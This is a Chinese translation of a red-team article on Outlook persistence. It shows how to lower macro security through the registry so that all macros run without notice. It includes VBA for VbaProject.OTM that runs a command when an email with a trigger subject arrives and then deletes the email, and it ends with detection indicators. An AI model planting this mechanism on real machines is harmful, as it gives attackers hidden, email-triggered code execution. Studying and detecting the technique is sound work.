基于Outlook邮件的持久化技术

  • A+
所属分类:安全文章

01

介绍



低权限用户持久化技术非常有价值。我们一直喜欢研究新奇的技术,这些技术很少有人涉猎,蓝队对它们也很感兴趣。本文将讲到Outlook的持久化技术,但目前,很多蓝队没有关注该技术。


此前,已经有多位研究人员研究过基于 Outlook 的持久化这个话题,包括Dave Hartley和Nick Landers,他们详细介绍了如何使用Outlook规则来实现持久化。


但在本文中,我们会重点介绍使用Outlook的VbsProject.OTM文件,通过不同的操作来实现相似的结果。虽然这个技术尚未得到普及,但之前Cobalt Kitty就把它当作命令和控制通道用过。





02

分析



与大多数Microsoft Office产品一样,Outlook能够启用“开发人员”选项卡,通过VB编辑器创建基于VBA的宏。打开编辑器,创建一个简单的宏,就能找到一个名为“ ThisOutlookSession”的Outlook特定模块:


基于Outlook邮件的持久化技术


保存这个宏会导致%APPDATA%RoamingMicrosoftOutlook目录创建VbaProject.OTM文件:


基于Outlook邮件的持久化技术


但是,以默认配置执行宏会失败,默认配置为“数字签名宏的通知,所有其他宏均已禁用”。


利用以下值创建安全性注册表项来修改这个配置:


基于Outlook邮件的持久化技术


Level值用以下值定义宏安全性配置:


4 = 在不弹出通知的情况下禁用所有宏

3 = 如果有数字签名的宏,则弹出通知,禁用其他宏

2 = 给所有宏弹出通知

1 = 启用所有宏


若要宏不通知用户,隐蔽运行,需要设置Level值,在操作期间启用所有宏。


检查VbaProject.OTM文件时,我们发现它是标准的Microsoft复合文档文件(CDF):


[email protected] ~  ✗ file ~/VbaProject.OTMVbaProject.OTM: Composite Document File V2 Document, Cannot read section info


进一步的分析oledump.py,发现它包含宏代码的OLE流:


dmc@deathstar ~  ✗ python oledump.py ~/VbaProject.OTM  1:        43 'OutlookProjectData'  2:       388 'OutlookVbaData/PROJECT'  3:        59 'OutlookVbaData/PROJECTwm'  4: M    6156 'OutlookVbaData/VBA/ThisOutlookSession'  5:      2663 'OutlookVbaData/VBA/_VBA_PROJECT'  6:       497 'OutlookVbaData/VBA/dir'


现在,我们知道VbaProject.OTM是启用了标准OLE宏的文档,所以,创建、混淆、清除和重载这些文件的传统工具和技术仍然适用。如果把它拖放到磁盘上,要确保其静态安全。


接下来,我们会深入研究如何持久化和武器化。





03

武器化



把VBA代码作为事件的结果执行。ThisOutlookSession模块能让我们订阅Outlook里的不同事件,有不同的机会执行代码。


持久化可能包括由用户驱动的某些事件(例如,打开Outlook),或者由攻击者决定的某些事件(例如接收特定邮件)。在演示武器化时,我们会重点讨论后者,并说明如何利用带有特定主题的邮件来执行任意VBA。


若要设置收到新邮件的时间,可以在Outlook启动时,先订阅默认收件箱的事件,这能通过以下方法来实现:在注册事件时,给默认收件箱文件夹(olInboxItems)设置一个变量:


Option ExplicitPrivate WithEvents olInboxItems As ItemsPrivate Sub Application_Startup()    Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).ItemsEnd Sub


然后,利用用户对收件箱的引用,在新邮件到达时,借助“ ItemAdd ”回调函数接收事件:


Private Sub olInboxItems_ItemAdd(ByVal Item As Object)End Sub


我们只关注电子邮件的接受,所以需要优化回调,让它仅触发新的邮件项目。这要验证条目,确保其类型为“ MailItem ”:


Private Sub olInboxItems_ItemAdd(ByVal Item As Object)      If TypeOf Item Is MailItem Then        MsgBox "You have mail"    End IfEnd Sub


如果不希望在每个接收到的邮件上执行,可以用电子邮件地址,主题,正文内容等条件来过滤接收到的邮件。扩展上述代码,当收到特定主题(MailItem.Subject)的邮件时,执行代码,随后用MailItem.Delete方法删除电子邮件:


Private Sub olInboxItems_ItemAdd(ByVal Item As Object)    On Error Resume Next    Dim olMailItem As MailItem    If TypeOf Item Is MailItem Then       If InStr(olMailItem.Subject, "MDSec") > 0 Then            MsgBox "Hack The Planet"            olMailItem.Delete        End If    End If    Set Item = Nothing    Set olMailItem = NothingEnd Sub


把上述代码放在一起,然后弹出计算器:


Option Explicit
Private WithEvents olInboxItems As Items
Private Sub Application_Startup() Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).ItemsEnd Sub
Private Sub olInboxItems_ItemAdd(ByVal Item As Object) On Error Resume Next Dim olMailItem As MailItem If TypeOf Item Is MailItem Then If InStr(olMailItem.Subject, "MDSec") > 0 Then MsgBox "Hack The Planet" Shell "calc.exe" olMailItem.Delete End If End If Set Item = Nothing Set olMailItem = NothingEnd Sub



弹出计算器只是概念证明,可以利用武器化的方式生成一个 Beacon,具体的实现方式留给各位读者尝试。






04

检测



从终端角度来看,可以通过以下两个关键指标来检测该技术:


1.检测creation/modification events (Sysmon event ID 11) for the %APPDATA%RoamingMicrosoftOutlookVbaProject.OTM文件。

2.检测注册表 HKEY_CURRENT_USERSoftwareMicrosoftOffice16.0OutlookSecurity 键和 Level 值的创建、修改事件(Sysmon 事件 ID 12)。





本文作者是Dominic Chell。




基于Outlook邮件的持久化技术

基于Outlook邮件的持久化技术

木星安全实验室(MxLab),由中国网安·广州三零卫士成立,汇聚国内多名安全专家和反间谍专家组建而成,深耕工控安全、IoT安全、红队评估、反间谍、数据保护、APT分析等高级安全领域,木星安全实验室坚持在反间谍和业务安全的领域进行探索和研究。

本文始发于微信公众号(木星安全实验室):基于Outlook邮件的持久化技术

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: